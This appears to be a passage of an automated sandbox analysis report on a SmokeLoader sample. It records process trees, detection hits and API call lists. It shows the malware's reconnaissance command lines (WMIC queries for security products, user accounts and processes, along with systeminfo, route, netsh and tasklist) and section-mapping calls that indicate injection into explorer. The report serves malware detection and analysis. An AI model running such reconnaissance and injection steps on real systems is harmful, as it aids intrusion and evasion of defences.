Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	12:24:37
Start date:	08/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6c8440000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	12:24:39
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x5d0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:24:40
Start date:	08/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:24:41
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x5d0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	12:24:42
Start date:	08/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000011.00000002.4578892665.00000000005C1000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	12:24:43
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x5d0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	12:24:44
Start date:	08/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	12:24:55
Start date:	08/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd
Imagebase:	0x7ff7fc380000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	12:24:55
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	12:24:56
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:24:58
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:25:01
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:25:03
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:25:05
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:25:08
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:25:10
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:25:13
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:25:16
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:25:25
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:25:29
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:25:35
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:25:51
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:25:55
Start date:	08/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Imagebase:	0x7ff690150000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:25:58
Start date:	08/10/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /displaydns
Imagebase:	0x7ff7991c0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:25:59
Start date:	08/10/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff7b1a40000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:26:00
Start date:	08/10/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff6d3f90000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	12:26:01
Start date:	08/10/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff7d6860000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	12:26:06
Start date:	08/10/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /v /fo csv
Imagebase:	0x7ff773010000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	26.2%
Signature Coverage:	42.6%
Total number of Nodes:	183
Total number of Limit Nodes:	6

Executed Functions

Function 00418DF0 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418F0B
GetFocus.USER32 ref: 00418F11
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418F1E
FindAtomA.KERNEL32(00000000), ref: 00418F25
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418F3D
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418F45
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418F5D
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418F84
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418F90
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418FA6
GetEnvironmentStringsW.KERNEL32 ref: 00418FAC
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418FF1
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00419000
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00419009
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041901E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0041902F
SetCommState.KERNELBASE(00000000,00000000), ref: 00419058
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419089
GetComputerNameA.KERNEL32(?,?), ref: 0041909D
CopyFileW.KERNEL32(0041B3AC,0041B380,00000000), ref: 004190AE
GetFileAttributesA.KERNEL32(00000000), ref: 004190B5
GetConsoleAliasExesLengthW.KERNEL32 ref: 004190BB
GetBinaryType.KERNEL32(0041B3C8,?), ref: 004190CD
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004190E0
GetLongPathNameA.KERNEL32(0041B3E4,?,00000000), ref: 004190F3
PurgeComm.KERNEL32(00000000,00000000), ref: 004190FB
LoadLibraryA.KERNELBASE(0041B3EC), ref: 00419172
MoveFileW.KERNEL32(00000000,00000000), ref: 004191A7
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 004191CE

Strings

k`, xrefs: 004191AD
}$, xrefs: 004191D5

Memory Dump Source

Source File: 00000000.00000002.2233107637.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_O4zPA1oI9Y.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 76067d98ed010348569ee083334d6030e4c9192beea86e856fa9a0357b35bb33
Instruction ID: 4ca0833080540fc1689ebbf06c0baecda7ebd0e2289d1b61a46df4a83d3cd1a5
Opcode Fuzzy Hash: 76067d98ed010348569ee083334d6030e4c9192beea86e856fa9a0357b35bb33
Instruction Fuzzy Hash: F9B1B371902124ABDB219FA1EC48EDF7B79EF4D750F00806AF649A2151C7781AC5CFAE

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 172
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: c5436c7e7e6e3e410a730c8ca40359fc9cb55dc58de8f82c61b8b97930139c1a
Instruction ID: 181ab879d947f068327b1ec0ddd27223b5b0ac2a90c427e8f19d47aa25efb225
Opcode Fuzzy Hash: c5436c7e7e6e3e410a730c8ca40359fc9cb55dc58de8f82c61b8b97930139c1a
Instruction Fuzzy Hash: 67417631228E0C4FD3A8DF2CA845BA277D5FB94311F6643AAE809D3389FA74C80183C5

Function 00622A07 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00622A2F
Module32First.KERNEL32(00000000,00000224), ref: 00622A4F

Memory Dump Source

Source File: 00000000.00000002.2233484367.000000000061F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0061F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61f000_O4zPA1oI9Y.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d6d409dfb297d282ac6a805e23bd18f4036b36d86e9f40f17b8723ffcf9f3f8b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E2F06232500B227BD7303BB5AC9DBAA76E9AF49724F100628E642919C0DA70E8458A65

Function 005F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005F024D

Strings

cess, xrefs: 005F018D
kernel32.dll, xrefs: 005F008F, 005F0095

Memory Dump Source

Source File: 00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_O4zPA1oI9Y.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 4b65ce4eff50f675edf1d61a99df40599f3613a345a7b7b0bfdd16d4a1f72893
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: B9526974A01229DFDB64CF58C984BA8BBB1BF09304F1480D9E54DAB392DB34AE85DF14

Function 00418AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00514D70), ref: 00418BCF
GetProcAddress.KERNEL32(00000000,0041F298), ref: 00418C0C
VirtualProtect.KERNELBASE(00514BB4,00514D6C,00000040,?), ref: 00418C2B

Strings

, xrefs: 00418B35

Memory Dump Source

Source File: 00000000.00000002.2233107637.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_O4zPA1oI9Y.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: 41ccab38266b7cc203b6ab2e2252d2e1a9a4558b246985cc843167c3f4a64001
Instruction ID: 441cc07c50422e985bd597f44fd2245cc03bf1e09111bb194a1dfbca8cfcce31
Opcode Fuzzy Hash: 41ccab38266b7cc203b6ab2e2252d2e1a9a4558b246985cc843167c3f4a64001
Instruction Fuzzy Hash: 88314918508680CAEB01DB78FC057923B66AB75709F04E0B9D14C8B7B1D7BB051E9B6A

Function 005F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

